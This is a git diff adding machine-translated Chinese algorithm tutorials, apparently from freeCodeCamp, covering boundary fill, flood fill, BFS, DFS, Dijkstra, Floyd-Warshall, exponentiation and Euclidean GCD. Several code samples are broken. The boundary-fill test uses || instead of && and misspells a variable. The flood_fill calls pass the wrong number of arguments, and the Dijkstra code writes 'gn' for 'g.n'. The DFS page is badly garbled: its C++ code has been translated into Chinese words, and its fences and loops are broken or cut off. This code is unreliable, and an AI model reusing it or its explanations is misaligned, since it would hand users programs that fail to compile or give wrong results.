+1.  取起点和边界颜色的位置。
+2.  决定是否想要沿4个方向（N，S，W，E）或8个方向（N，S，W，E，NW，NE，SW，SE）行进。
+3.  选择填充颜色。
+4.  沿着那些方向旅行。
+5.  如果您着陆的像素不是填充颜色或边界颜色，请将其替换为填充颜色。
+6.  重复4和5，直到你到达边界内的任何地方。
+
+### 某些限制：
+
+*   对于多边形的所有边，边界颜色应该相同。
+*   起点应在多边形内。
+
+### 代码片段：
+```
+void boundary_fill(int pos_x, int pos_y, int boundary_color, int fill_color) 
+ { 
+   current_color= getpixel(pos_x,pos_y);  //get the color of the current pixel position 
+   if( current_color!= boundary_color || currrent_color != fill_color) // if pixel not already filled or part of the boundary then 
+   { 
+     putpixel(pos_x,pos_y,fill_color);  //change the color for this pixel to the desired fill_color 
+     boundary_fill(pos_x + 1, pos_y,boundary_color,fill_color);  // perform same function for the east pixel 
+     boundary_fill(pos_x - 1, pos_y,boundary_color,fill_color);  // perform same function for the west pixel 
+     boundary_fill(pos_x, pos_y + 1,boundary_color,fill_color);  // perform same function for the north pixel 
+     boundary_fill(pos_x, pos_y - 1,boundary_color,fill_color);  // perform same function for the south pixel 
+    } 
+ } 
+```
+
+从给定的代码中，您可以看到，对于您登陆的任何像素，首先要检查是否可以将其更改为fill\_color，然后执行此操作 对于它的邻居，直到检查了边界内的所有像素。
\ No newline at end of file
diff --git a/client/src/guide/chinese/algorithms/brute-force-algorithms/index.md b/client/src/guide/chinese/algorithms/brute-force-algorithms/index.md
new file mode 100644
index 0000000000..bdb2f8d7b3
--- /dev/null
+++ b/client/src/guide/chinese/algorithms/brute-force-algorithms/index.md
@@ -0,0 +1,17 @@
+---
+title: Brute Force Algorithms
+localeTitle: 蛮力算法
+---
+## 蛮力算法
+
+暴力算法指的是一种编程风格，它不包括任何提高性能的快捷方式，而是依靠纯粹的计算能力来尝试所有可能性，直到找到问题的解决方案。
+
+一个典型的例子是旅行商问题（TSP）。假设销售人员需要访问全国10个城市。如何确定访问城市的顺序，以使旅行的总距离最小化？蛮力解决方案只是计算每条可能路线的总距离，然后选择最短的路线。这不是特别有效，因为可以通过巧妙的算法消除许多可能的路线。
+
+另一个例子：5位密码，在最坏的情况下，需要10 5次尝试才能破解。
+
+蛮力的时间复杂度为**O（n \* m）** 。因此，如果我们使用暴力搜索一串'm'字符中的'n'个字符串，那么我们需要尝试n \* m次。
+
+#### 更多信息：
+
+[维基百科](https://en.wikipedia.org/wiki/Brute-force_search)
\ No newline at end of file
diff --git a/client/src/guide/chinese/algorithms/divide-and-conquer-algorithms/index.md b/client/src/guide/chinese/algorithms/divide-and-conquer-algorithms/index.md
new file mode 100644
index 0000000000..b629c39651
--- /dev/null
+++ b/client/src/guide/chinese/algorithms/divide-and-conquer-algorithms/index.md
@@ -0,0 +1,33 @@
+---
+title: Divide and Conquer Algorithms
+localeTitle: 划分和征服算法
+---
+## 划分和征服算法
+
+分而治之| （介绍） 像贪婪和动态编程一样，分而治之是一种算法范式。典型的Divide and Conquer算法使用以下三个步骤解决了问题。
+
+1.  除以：将给定问题分解为相同类型的子问题。
+2.  征服：递归解决这些子问题
+3.  结合：适当地结合答案
+
+以下是一些标准算法，即Divide和Conquer算法。
+
+1）二进制搜索是一种搜索算法。在每个步骤中，算法将输入元素x与数组中的中间元素的值进行比较。如果值匹配，则返回middle的索引。否则，如果x小于中间元素，则算法在中间元素的左侧重复，否则在中间元素的右侧重复。
+
+2）Quicksort是一种排序算法。该算法选择一个枢轴元素，重新排列数组元素，使得小于拾取的枢轴元素的所有元素移动到枢轴的左侧，并且所有更大的元素移动到右侧。最后，算法递归地对枢轴元素左右两侧的子阵列进行排序。
+
+3）Merge Sort也是一种排序算法。算法将数组分成两半，递归地对它们进行排序，最后合并两个排序的一半。
+
+4）最近的一对点问题是在xy平面中的一组点中找到最接近的点对。通过计算每对点的距离并比较距离以找到最小值，可以在O（n ^ 2）时间内解决该问题。 Divide and Conquer算法解决了O（nLogn）时间内的问题。
+
+5）Strassen算法是一种有效的算法来乘以两个矩阵。一个乘以两个矩阵的简单方法需要3个嵌套循环，并且是O（n ^ 3）。 Strassen算法在O（n ^ 2.8974）时间内乘以两个矩阵。
+
+6）Cooley-Tukey快速傅里叶变换（FFT）算法是最常用的FFT算法。它是一种分而治之的算法，适用于O（nlogn）时间。
+
+7）Karatsuba算法是第一个比二次“小学”算法渐近快的乘法算法。它将两个n位数字的乘法减少到最多n ^ 1.585（这是基数2中3的log的近似值）单位数产品。因此，它比传统算法更快，后者需要n ^ 2个单位数产品。
+
+### 分而治之（D＆C）与动态编程（DP）
+
+两种范式（D＆C和DP）将给定问题划分为子问题并解决子问题。如何针对特定问题选择其中一个？当多次评估相同的子问题时，应使用Divide and Conquer。否则应使用动态编程或记忆。
+
+例如，二进制搜索是一种Divide and Conquer算法，我们再也不会评估相同的子问题。另一方面，为了计算第n个斐波那契数，应该首选动态规划。
\ No newline at end of file
diff --git a/client/src/guide/chinese/algorithms/embarassingly-parallel-algorithms/index.md b/client/src/guide/chinese/algorithms/embarassingly-parallel-algorithms/index.md
new file mode 100644
index 0000000000..0a48344c45
--- /dev/null
+++ b/client/src/guide/chinese/algorithms/embarassingly-parallel-algorithms/index.md
@@ -0,0 +1,16 @@
+---
+title: Embarassingly Parallel Algorithms
+localeTitle: 令人尴尬的并行算法
+---
+## 令人尴尬的并行算法
+
+在并行编程中，令人尴尬的并行算法是在进程之间不需要通信或依赖的算法。与需要在任务之间进行通信的分布式计算问题（尤其是中间结果）不同，令人尴尬的并行算法很容易在缺乏真正超级计算机集群中使用的特殊基础结构的服务器场上执行。由于令人尴尬的并行算法的性质，它们非常适合基于互联网的大型分布式平台，并且不会受到并行减速的影响。令人尴尬的并行问题的反面是固有的串行问题，根本无法并行化。 令人尴尬的并行算法的理想情况可归纳如下：
+
+*   在计算开始之前定义所有子问题或任务。
+*   所有子解决方案都存储在独立的存储器位置（变量，数组元素）中。
+*   因此，子解决方案的计算是完全独立的。
+*   如果计算需要一些初始或最终的通信，那么我们称之为几乎令人尴尬的并行。
+
+许多人可能会想到“令人尴尬”一词的词源。在这种情况下，令人尴尬的是与尴尬无关;事实上，这意味着过多 - 这里指的是“令人尴尬的容易”的并行化问题。
+
+令人尴尬的并行问题的一个常见例子是由图形处理单元处理的3d视频渲染，其中每个帧或像素可以在没有相互依赖性的情况下处理。其他一些例子是蛋白质折叠软件，可以在任何计算机上运行，​​每台机器完成一小部分工作，生成所有子集，随机数和蒙特卡罗模拟。
\ No newline at end of file
diff --git a/client/src/guide/chinese/algorithms/evaluating-polynomials-direct-analysis/index.md b/client/src/guide/chinese/algorithms/evaluating-polynomials-direct-analysis/index.md
new file mode 100644
index 0000000000..da0956a628
--- /dev/null
+++ b/client/src/guide/chinese/algorithms/evaluating-polynomials-direct-analysis/index.md
@@ -0,0 +1,11 @@
+---
+title: Evaluating Polynomials Direct Analysis
+localeTitle: 评估多项式直接分析
+---
+## 评估多项式直接分析
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/algorithms/evaluating-polynomials-direct-analysis/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/algorithms/evaluating-polynomials-synthetic-division/index.md b/client/src/guide/chinese/algorithms/evaluating-polynomials-synthetic-division/index.md
new file mode 100644
index 0000000000..dfd1da44e7
--- /dev/null
+++ b/client/src/guide/chinese/algorithms/evaluating-polynomials-synthetic-division/index.md
@@ -0,0 +1,11 @@
+---
+title: Evaluating Polynomials Synthetic Division
+localeTitle: 评估多项式综合分裂
+---
+## 评估多项式综合分裂
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/algorithms/evaluating-polynomials-synthetic-division/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/algorithms/exponentiation/index.md b/client/src/guide/chinese/algorithms/exponentiation/index.md
new file mode 100644
index 0000000000..f2bfc41bb2
--- /dev/null
+++ b/client/src/guide/chinese/algorithms/exponentiation/index.md
@@ -0,0 +1,61 @@
+---
+title: Exponentiation
+localeTitle: 幂
+---
+## 幂
+
+给定两个整数a和n，写一个函数来计算^ n。
+
+#### 码
+
+算法范式：分而治之。
+
+```C
+int power(int x, unsigned int y) { 
+    if (y == 0) 
+        return 1; 
+    else if (y%2 == 0) 
+        return power(x, y/2)*power(x, y/2); 
+    else 
+        return x*power(x, y/2)*power(x, y/2); 
+ } 
+```
+
+时间复杂度：O（n）|空间复杂度：O（1）
+
+#### 优化的解决方案：O（logn）
+
+```C
+int power(int x, unsigned int y) { 
+    int temp; 
+    if( y == 0) 
+        return 1; 
+    temp = power(x, y/2); 
+    if (y%2 == 0) 
+        return temp*temp; 
+    else 
+        return x*temp*temp; 
+ } 
+```
+
+## 模块化指数
+
+给定三个数字x，y和p，计算（x ^ y）％p
+
+```C
+int power(int x, unsigned int y, int p) { 
+    int res = 1; 
+    x = x % p; 
+    while (y > 0) { 
+        if (y & 1) 
+            res = (res*x) % p; 
+ 
+        // y must be even now 
+        y = y>>1; 
+        x = (x*x) % p; 
+    } 
+    return res; 
+ } 
+```
+
+时间复杂度：O（Log y）。
\ No newline at end of file
diff --git a/client/src/guide/chinese/algorithms/flood-fill/index.md b/client/src/guide/chinese/algorithms/flood-fill/index.md
new file mode 100644
index 0000000000..0ef0d4bf1a
--- /dev/null
+++ b/client/src/guide/chinese/algorithms/flood-fill/index.md
@@ -0,0 +1,100 @@
+---
+title: Flood Fill Algorithm
+localeTitle: 洪水填充算法
+---
+## 洪水填充算法
+
+洪水填充是一种主要用于确定连接到多维阵列中给定节点的有界区域的算法。它是 与绘图程序中的桶工具非常相似。
+
+最接近的算法实现是基于堆栈的递归函数，这就是我们要谈的内容 下一个。
+
+### 它是如何工作的？
+
+问题非常简单，通常遵循以下步骤：
+
+1.  采取起点的位置。
+2.  决定是否想要沿4个方向（ **N，S，W，E** ）或8个方向（ **N，S，W，E，NW，NE，SW，SE** ）行进。
+3.  选择替换颜色和目标颜色。
+4.  沿着那些方向旅行。
+5.  如果您着陆的瓷砖是目标，请使用所选颜色重新获得。
+6.  重复4和5，直到你到达边界内的任何地方。
+
+我们以下面的数组为例：
+
+![替代文字](https://github.com/firealex2/Codingame/blob/master/small%208%20grid%20paintefffd.png)
+
+红色方块是起点，灰色方块是所谓的墙。
+
+有关更多详细信息，请参阅此处描述该函数的代码：
+
+```c++
+int wall = -1; 
+ 
+ void flood_fill(int pos_x, int pos_y, int target_color, int color) 
+ { 
+ 
+   if(a[pos_x][pos_y] == wall || a[pos_x][pos_y] == color) // if there is no wall or if i haven't been there 
+      return;                                              // already go back 
+ 
+   if(a[pos_x][pos_y] != target_color) // if it's not color go back 
+      return; 
+ 
+   a[pos_x][pos_y] = color; // mark the point so that I know if I passed through it. 
+ 
+   flood_fill(pos_x + 1, pos_y, color);  // then i can either go south 
+   flood_fill(pos_x - 1, pos_y, color);  // or north 
+   flood_fill(pos_x, pos_y + 1, color);  // or east 
+   flood_fill(pos_x, pos_y - 1, color);  // or west 
+ 
+   return; 
+ 
+ } 
+```
+
+如上所示，我的出发点是（4,4）。在调用起始坐标**x = 4**和**y = 4**的函数后， 我可以开始检查当场是否有墙壁或颜色。如果这是有效的我用一个**“颜色”**标记斑点 并开始检查其他的adiacent正方形。
+
+向南走，我们将指向（5,4）并且该功能再次运行。
+
+### 运动问题
+
+我一直认为使用新学习的算法解决（或更多）问题是完全理解的最佳方式 这个概念。
+
+所以这是一个：
+
+**声明：**
+
+在二维数组中，您将获得n个**“孤岛”** 。试着找到岛上最大的区域 相应的岛号。 0标记水和1和n之间的任何其他x标记距表面对应的一个方格 到岛屿x。
+
+**输入**
+
+*   **n** - 岛屿数量。
+*   **l，c** - 矩阵的尺寸。
+*   接下来的**l**行， **c**号给出矩阵的第**l**行。
+
+**产量**
+
+*   **i** - 面积最大的岛屿数量。
+*   **A** - **我**岛的**一个**区域。
+
+**例如：**
+
+您有以下输入：
+
+```c++
+2 4 4 
+ 0 0 0 1 
+ 0 0 1 1 
+ 0 0 0 2 
+ 2 2 2 2 
+```
+
+你会得到岛屿没有。 2作为最大的岛屿，面积为5平方。
+
+### 提示
+
+问题很简单，但这里有一些提示：
+```
+1. Use the flood-fill algorithm whenever you encounter a new island. 
+ 2. As opposed to the sample code, you should go through the area of the island and not on the ocean (0 tiles). 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/algorithms/graph-algorithms/breadth-first-search/index.md b/client/src/guide/chinese/algorithms/graph-algorithms/breadth-first-search/index.md
new file mode 100644
index 0000000000..bb24b7184d
--- /dev/null
+++ b/client/src/guide/chinese/algorithms/graph-algorithms/breadth-first-search/index.md
@@ -0,0 +1,125 @@
+---
+title: Breadth First Search (BFS)
+localeTitle: 广度优先搜索（BFS）
+---
+## 广度优先搜索（BFS）
+
+广度优先搜索是最简单的图算法之一。它首先检查当前节点，然后通过将其后继添加到下一级别来扩展它，从而遍历图形。在移动到下一级别之前，对当前级别中的所有节点重复该过程。如果找到解决方案，搜索将停止。
+
+### 可视化
+
+![](https://upload.wikimedia.org/wikipedia/commons/4/46/Animated_BFS.gif)
+
+### 评估
+
+空间复杂度：O（n）
+
+更糟糕的案例时间复杂性：O（n）
+
+广度优先搜索在有限的节点集上完成，并且如果从一个节点移动到另一个节点的成本是恒定的则是最优的。
+
+### BFS实现的C ++代码
+
+```cpp
+// Program to print BFS traversal from a given 
+ // source vertex. BFS(int s) traverses vertices 
+ // reachable from s. 
+ #include<iostream> 
+ #include <list> 
+ 
+ using namespace std; 
+ 
+ // This class represents a directed graph using 
+ // adjacency list representation 
+ class Graph 
+ { 
+    int V;    // No. of vertices 
+ 
+    // Pointer to an array containing adjacency 
+    // lists 
+    list<int> *adj; 
+ public: 
+    Graph(int V);  // Constructor 
+ 
+    // function to add an edge to graph 
+    void addEdge(int v, int w); 
+ 
+    // prints BFS traversal from a given source s 
+    void BFS(int s); 
+ }; 
+ 
+ Graph::Graph(int V) 
+ { 
+    this->V = V; 
+    adj = new list<int>[V]; 
+ } 
+ 
+ void Graph::addEdge(int v, int w) 
+ { 
+    adj[v].push_back(w); // Add w to v's list. 
+ } 
+ 
+ void Graph::BFS(int s) 
+ { 
+    // Mark all the vertices as not visited 
+    bool *visited = new bool[V]; 
+    for(int i = 0; i < V; i++) 
+        visited[i] = false; 
+ 
+    // Create a queue for BFS 
+    list<int> queue; 
+ 
+    // Mark the current node as visited and enqueue it 
+    visited[s] = true; 
+    queue.push_back(s); 
+ 
+    // 'i' will be used to get all adjacent 
+    // vertices of a vertex 
+    list<int>::iterator i; 
+ 
+    while(!queue.empty()) 
+    { 
+        // Dequeue a vertex from queue and print it 
+        s = queue.front(); 
+        cout << s << " "; 
+        queue.pop_front(); 
+ 
+        // Get all adjacent vertices of the dequeued 
+        // vertex s. If a adjacent has not been visited, 
+        // then mark it visited and enqueue it 
+        for (i = adj[s].begin(); i != adj[s].end(); ++i) 
+        { 
+            if (!visited[*i]) 
+            { 
+                visited[*i] = true; 
+                queue.push_back(*i); 
+            } 
+        } 
+    } 
+ } 
+ 
+ // Driver program to test methods of graph class 
+ int main() 
+ { 
+    // Create a graph given in the above diagram 
+    Graph g(4); 
+    g.addEdge(0, 1); 
+    g.addEdge(0, 2); 
+    g.addEdge(1, 2); 
+    g.addEdge(2, 0); 
+    g.addEdge(2, 3); 
+    g.addEdge(3, 3); 
+ 
+    cout << "Following is Breadth First Traversal " 
+         << "(starting from vertex 2) \n"; 
+    g.BFS(2); 
+ 
+    return 0; 
+ } 
+```
+
+#### 更多信息：
+
+[图表](https://github.com/freecodecamp/guides/computer-science/data-structures/graphs/index.md)
+
+[深度优先搜索（DFS）](https://github.com/freecodecamp/guides/tree/master/src/pages/algorithms/graph-algorithms/depth-first-search/index.md)
\ No newline at end of file
diff --git a/client/src/guide/chinese/algorithms/graph-algorithms/depth-first-search/index.md b/client/src/guide/chinese/algorithms/graph-algorithms/depth-first-search/index.md
new file mode 100644
index 0000000000..48161e24ad
--- /dev/null
+++ b/client/src/guide/chinese/algorithms/graph-algorithms/depth-first-search/index.md
@@ -0,0 +1,105 @@
+---
+title: Depth First Search (DFS)
+localeTitle: 深度优先搜索（DFS）
+---
+## 深度优先搜索（DFS）
+
+深度优先搜索是最简单的图算法之一。它通过首先检查当前节点然后移动到其中一个成员来重复该过程来遍历图形。如果当前节点没有要检查的进程，我们将返回其前身并继续进程（通过移动到另一个进程）。如果找到解决方案，搜索将停止。
+
+### 可视化
+
+![](https://upload.wikimedia.org/wikipedia/commons/7/7f/Depth-First-Search.gif)
+
+### 实现（C ++ 14）
+
+\`\`\`C ++
+
+# 包括
+
+# 包括
+
+# 包括
+
+# 包括
+
+使用命名空间std;
+
+class Graph { int v; //顶点数
+```
+// pointer to a vector containing adjacency lists 
+ vector < int > *adj; 
+```
+
+上市： 图（int v）; //构造函数
+```
+// function to add an edge to graph 
+ void add_edge(int v, int w); 
+ 
+ // prints dfs traversal from a given source `s` 
+ void dfs(); 
+ void dfs_util(int s, vector < bool> &visited); 
+```
+
+};
+
+Graph :: Graph（int v）{ 这 - > v = v; adj = new vector <int> \[v\]; }
+
+void Graph :: add _edge（int u，int v）{ adj \[u\] .push_ back（v）; //将v添加到你的列表中 adj \[v\] .push _back（v）; //将你添加到v的列表中（如果图表被定向，则删除此语句！） } void Graph :: dfs（）{ //访问过的向量 - 跟踪DFS期间访问的节点 vector <bool> visit（v，false）; //将所有节点/顶点标记为未访问 for（int i = 0; i <v; i ++） 如果（！参观\[1\]） dfs_ util（i，visited）; } //注意这里使用call-by-reference的用法！ void Graph :: dfs\_util（int s，vector <bool>＆visited）{ //将当前节点/顶点标记为已访问 访问过\[s\] =真; //将其输出到标准输出（屏幕） cout << s <<“”;
+```
+// traverse its adjacency list and recursively call dfs_util for all of its neighbours! 
+ // (only if the neighbour has not been visited yet!) 
+ for(vector < int > :: iterator itr = adj[s].begin(); itr != adj[s].end(); itr++) 
+    if(!visited[*itr]) 
+        dfs_util(*itr, visited); 
+```
+
+}
+
+int main（） { //使用我们上面定义的Graph类创建图形 图g（4）; g.add _edge（0,1）; g.add_ edge（0,2）; g.add _edge（1,2）; g.add_ edge（2,0）; g.add _edge（2,3）; g.add_ edge（3,3）;
+```
+cout << "Following is the Depth First Traversal of the provided graph" 
+     << "(starting from vertex 0): "; 
+ g.dfs(); 
+ // output would be: 0 1 2 3 
+ return 0; 
+```
+
+}
+```
+### Evaluation 
+ 
+ Space Complexity: O(n) 
+ 
+ Worse Case Time Complexity: O(n) 
+ Depth First Search is complete on a finite set of nodes. I works better on shallow trees. 
+ 
+ ### Implementation of DFS in C++ 
+```
+
+C ++
+
+# 包括
+
+# 包括
+
+# 包括
+
+使用命名空间std;
+
+struct Graph { int v; bool \* _adj; 上市： Graph（int vcount）; void addEdge（int u，int v）; void deleteEdge（int u，int v）; 向量_ _DFS（int s）; void DFSUtil（int s，vector_ _＆DFS，矢量_ _＆访问）; }; Graph :: Graph（int vcount）{ this-> v = vcount; this-> adj = new bool_ \[vcount\]; for（int i = 0; i
+
+void Graph :: addEdge（int u，int w）{ 这 - >形容词\[U\] \[W\] = TRUE; 这 - >形容词\[W\] \[U\] = TRUE; }
+
+void Graph :: deleteEdge（int u，int w）{ 这 - >形容词\[U\] \[W\] = FALSE; 这 - >形容词\[W\] \[U\] = FALSE; }
+
+void Graph :: DFSUtil（int s，vector ＆dfs，矢量 ＆访问）{ 访问了\[S\] = TRUE; dfs.push\_back（一个或多个）; for（int i = 0; i V;我++）{ if（this-> adj \[s\] \[i\] == true && visited \[i\] == false） DFSUtil（I，DFS，访问）; } }
+
+向量 Graph :: DFS（int s）{ 向量访问（这 - > v）的; 向量 DFS; DFSUtil（S，DFS，访问）; return dfs; } \`\`\`
+
+#### 更多信息：
+
+[图表](https://github.com/freecodecamp/guides/computer-science/data-structures/graphs/index.md)
+
+[广度优先搜索（BFS）](https://github.com/freecodecamp/guides/tree/master/src/pages/algorithms/graph-algorithms/breadth-first-search/index.md)
+
+[深度优先搜索（DFS） - 维基百科](https://en.wikipedia.org/wiki/Depth-first_search)
\ No newline at end of file
diff --git a/client/src/guide/chinese/algorithms/graph-algorithms/dijkstra/index.md b/client/src/guide/chinese/algorithms/graph-algorithms/dijkstra/index.md
new file mode 100644
index 0000000000..b6da5d8d28
--- /dev/null
+++ b/client/src/guide/chinese/algorithms/graph-algorithms/dijkstra/index.md
@@ -0,0 +1,95 @@
+---
+title: Dijkstra's Algorithm
+localeTitle: Dijkstra的算法
+---
+# Dijkstra的算法
+
+Dijkstra算法是由EW Dijkstra提出的图算法。它在具有非负边的图中找到单源最短路径。（为什么？）
+
+我们创建了2个数组：visit和distance，它们分别记录是否访问了顶点以及距离源顶点的最小距离。最初访问的数组被指定为false，距离指定为无限。
+
+我们从源顶点开始。设当前顶点为u，其相邻顶点为v。现在对于与u相邻的每个v，如果之前未访问过该距离并且距离u的距离小于其当前距离，则更新距离。然后我们选择距离最小且未访问过的下一个顶点。
+
+优先级队列通常用于在最短的时间内满足最后的要求。下面是使用Java中的优先级队列实现相同的想法。
+
+```java
+import java.util.*; 
+ public class Dijkstra { 
+    class Graph { 
+    LinkedList<Pair<Integer>> adj[]; 
+    int n; // Number of vertices. 
+    Graph(int n) { 
+        this.n = n; 
+        adj = new LinkedList[n]; 
+        for(int i = 0;i<n;i++) adj[i] = new LinkedList<>(); 
+    } 
+    // add a directed edge between vertices a and b with cost as weight 
+    public void addEdgeDirected(int a, int b, int cost) { 
+        adj[a].add(new Pair(b, cost)); 
+    } 
+    public void addEdgeUndirected(int a, int b, int cost) { 
+        addEdgeDirected(a, b, cost); 
+        addEdgeDirected(b, a, cost); 
+    } 
+    } 
+    class Pair<E> { 
+    E first; 
+    E second; 
+    Pair(E f, E s) { 
+        first = f; 
+        second = s; 
+    } 
+    } 
+ 
+    // Comparator to sort Pairs in Priority Queue 
+    class PairComparator implements Comparator<Pair<Integer>> { 
+    public int compare(Pair<Integer> a, Pair<Integer> b) { 
+        return a.second - b.second; 
+    } 
+    } 
+ 
+    // Calculates shortest path to each vertex from source and returns the distance 
+    public int[] dijkstra(Graph g, int src) { 
+    int distance[] = new int[gn]; // shortest distance of each vertex from src 
+    boolean visited[] = new boolean[gn]; // vertex is visited or not 
+    Arrays.fill(distance, Integer.MAX_VALUE); 
+    Arrays.fill(visited, false); 
+    PriorityQueue<Pair<Integer>> pq = new PriorityQueue<>(100, new PairComparator()); 
+        pq.add(new Pair<Integer>(src, 0)); 
+    distance[src] = 0; 
+    while(!pq.isEmpty()) { 
+        Pair<Integer> x = pq.remove(); // Extract vertex with shortest distance from src 
+        int u = x.first; 
+        visited[u] = true; 
+        Iterator<Pair<Integer>> iter = g.adj[u].listIterator(); 
+        // Iterate over neighbours of u and update their distances 
+        while(iter.hasNext()) { 
+        Pair<Integer> y = iter.next(); 
+        int v = y.first; 
+        int weight = y.second; 
+        // Check if vertex v is not visited 
+        // If new path through u offers less cost then update distance array and add to pq 
+        if(!visited[v] && distance[u]+weight<distance[v]) { 
+            distance[v] = distance[u]+weight; 
+            pq.add(new Pair(v, distance[v])); 
+        } 
+        } 
+    } 
+    return distance; 
+    } 
+ 
+    public static void main(String args[]) { 
+    Dijkstra d = new Dijkstra(); 
+    Dijkstra.Graph g = d.new Graph(4); 
+    g.addEdgeUndirected(0, 1, 2); 
+    g.addEdgeUndirected(1, 2, 1); 
+    g.addEdgeUndirected(0, 3, 6); 
+    g.addEdgeUndirected(2, 3, 1); 
+    g.addEdgeUndirected(1, 3, 3); 
+ 
+    int dist[] = d.dijkstra(g, 0); 
+    System.out.println(Arrays.toString(dist)); 
+    } 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/algorithms/graph-algorithms/floyd-warshall-algorithm/index.md b/client/src/guide/chinese/algorithms/graph-algorithms/floyd-warshall-algorithm/index.md
new file mode 100644
index 0000000000..192762369a
--- /dev/null
+++ b/client/src/guide/chinese/algorithms/graph-algorithms/floyd-warshall-algorithm/index.md
@@ -0,0 +1,48 @@
+---
+title: Floyd Warshall Algorithm
+localeTitle: Floyd Warshall算法
+---
+## Floyd Warshall算法
+
+Floyd Warshall算法是一种很好的算法，用于查找图中所有顶点之间的最短距离。它具有非常简洁的算法和O（V ^ 3）时间复杂度（其中V是顶点数）。它可以与负权重一起使用，但图表中不得出现负权重循环。
+
+### 评估
+
+空间复杂度：O（V ^ 2）
+
+更糟糕的案例时间复杂性：O（V ^ 3）
+
+### Python实现
+
+```python
+# A large value as infinity 
+ inf = 1e10 
+ 
+ def floyd_warshall(weights): 
+    V = len(weights) 
+    distance_matrix = weights 
+    for k in range(V): 
+        next_distance_matrix = [list(row) for row in distance_matrix] # make a copy of distance matrix 
+        for i in range(V): 
+            for j in range(V): 
+                # Choose if the k vertex can work as a path with shorter distance 
+                next_distance_matrix[i][j] = min(distance_matrix[i][j], distance_matrix[i][k] + distance_matrix[k][j]) 
+        distance_matrix = next_distance_matrix # update 
+    return distance_matrix 
+ 
+ # A graph represented as Adjacency matrix 
+ graph = [ 
+    [0, inf, inf, -3], 
+    [inf, 0, inf, 8], 
+    [inf, 4, 0, -2], 
+    [5, inf, 3, 0] 
+ ] 
+ 
+ print(floyd_warshall(graph)) 
+```
+
+#### 更多信息：
+
+[图表](https://github.com/freecodecamp/guides/computer-science/data-structures/graphs/index.md)
+
+[Floyd Warshall - 维基百科](https://en.wikipedia.org/wiki/Floyd%E2%80%93Warshall_algorithm)
\ No newline at end of file
diff --git a/client/src/guide/chinese/algorithms/graph-algorithms/index.md b/client/src/guide/chinese/algorithms/graph-algorithms/index.md
new file mode 100644
index 0000000000..2b0f2ab265
--- /dev/null
+++ b/client/src/guide/chinese/algorithms/graph-algorithms/index.md
@@ -0,0 +1,23 @@
+---
+title: Graph algorithms
+localeTitle: 图算法
+---
+## 图算法
+
+图算法是遍历（访问a）图的一组指令。
+
+一些算法用于查找特定节点或两个给定节点之间的路径。
+
+### 为什么图算法很重要
+
+图形是非常有用的数据结构，可以模拟各种问题。这些算法直接应用于社交网站，状态机建模等等。
+
+### 一些常见的图算法
+
+一些最常见的图算法是：
+
+[图表](https://github.com/freecodecamp/guides/computer-science/data-structures/graphs/index.md)
+
+[广度优先搜索（BFS）](https://github.com/freecodecamp/guides/tree/master/src/pages/algorithms/graph-algorithms/breadth-first-search/index.md)
+
+[深度优先搜索（DFS）](https://github.com/freecodecamp/guides/tree/master/src/pages/algorithms/graph-algorithms/depth-first-search/index.md)
\ No newline at end of file
diff --git a/client/src/guide/chinese/algorithms/greatest-common-divisor-direct-analysis/index.md b/client/src/guide/chinese/algorithms/greatest-common-divisor-direct-analysis/index.md
new file mode 100644
index 0000000000..d2874232c9
--- /dev/null
+++ b/client/src/guide/chinese/algorithms/greatest-common-divisor-direct-analysis/index.md
@@ -0,0 +1,11 @@
+---
+title: Greatest Common Divisor Direct Analysis
+localeTitle: 最大公约数直接分析
+---
+## 最大公约数直接分析
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/algorithms/greatest-common-divisor-direct-analysis/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/algorithms/greatest-common-divisor-euclidean/index.md b/client/src/guide/chinese/algorithms/greatest-common-divisor-euclidean/index.md
new file mode 100644
index 0000000000..563d9937c3
--- /dev/null
+++ b/client/src/guide/chinese/algorithms/greatest-common-divisor-euclidean/index.md
@@ -0,0 +1,75 @@
+---
+title: Greatest Common Divisor Euclidean
+localeTitle: 最大公约数欧几里得
+---
+## 最大公约数欧几里得
+
+对于本主题，您必须首先了解最大公约数（GCD）和MOD操作。
+
+#### 最大公约数（GCD）
+
+两个或多个整数的GCD是最大的整数，它将每个整数除以其余数为零。
+
+例-  
+GCD为20,30 = 10 _（10是最大数字，其中20和30除以余数为0）_  
+GCD为42,120,285 = 3 _（3是将42,120和285除以余数为0的最大数字）_
+
+#### “mod”操作
+
+当两个正整数被分割时，mod运算会给出余数。 我们写如下 -  
+`A mod B = R`
+
+这意味着，将A除以B得到余数R，这与给出商的除法运算不同。
+
+例-  
+7 mod 2 = 1 _（除以7得到余数1）_  
+42 mod 7 = 0 _（将42除以7得到余数0）_
+
+通过理解上述两个概念，您将很容易理解欧几里德算法。
+
+### 最大公约数（GCD）的欧几里德算法
+
+欧几里德算法找到2个数的GCD。
+
+通过查看它的运行情况，您将更好地理解该算法。 假设您要计算1220和516的GCD，让我们应用欧几里德算法 -
+
+假设您要计算1220和516的GCD，让我们应用欧几里德算法 - ![欧几里得实例](https://i.imgur.com/aa8oGgP.png)
+
+算法的伪代码 -  
+第1步： **让`a, b`为两个数字**  
+步骤2： **`a mod b = R`**  
+步骤3： **设`a = b`且`b = R`**  
+步骤4： **重复步骤2和3，直到`a mod b`大于0**  
+步骤5： **GCD = b**  
+第6步：完成
+
+Javascript代码执行GCD-
+
+```javascript
+function gcd(a, b) { 
+  var R; 
+  while ((a % b) > 0)  { 
+    R = a % b; 
+    a = b; 
+    b = R; 
+  } 
+  return b; 
+ } 
+```
+
+使用递归执行GCD的Javascript代码 -
+
+```javascript
+function gcd(a, b) { 
+  if (b == 0) 
+    return a; 
+  else 
+    return gcd(b, (a % b)); 
+ } 
+```
+
